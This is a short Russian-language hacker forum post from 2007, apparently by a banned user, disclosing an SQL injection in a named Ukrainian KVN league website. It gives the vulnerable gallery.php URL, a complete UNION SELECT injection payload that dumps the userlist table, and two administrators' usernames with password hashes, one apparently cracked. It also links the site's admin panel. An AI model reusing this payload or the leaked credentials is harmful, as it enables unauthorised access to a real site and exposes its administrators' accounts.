
30.04.2007, 19:03
|
|
Banned
Регистрация: 13.04.2007
Сообщений: 123
Провел на форуме: 921520
Репутация:
572
|
|
sql-inj
КВН - 1я украинская лига
Сайт: http://kvn.odessa.ua
уязвимость: http://kvn.odessa.ua/gallery.php?action=view&cat=11'
подобранные таблицы: userlist
подобранные поля: name,pass
2 организмa (админы сайта)
endorfine:6bdd7328ba8d625d540a4203311f5ec5
dimon:77963b7a931377ad4ab5ad6a9cd718aa: ddd
http://kvn.odessa.ua/gallery.php?action=view&cat=-11+union+select+1,aes_decrypt(aes_encrypt(concat_w s(0x3a,name,pass),0x55),0x55),3,4,5+from+userlist/*
админка :
http://kvn.odessa.ua/admin.php
|
|
|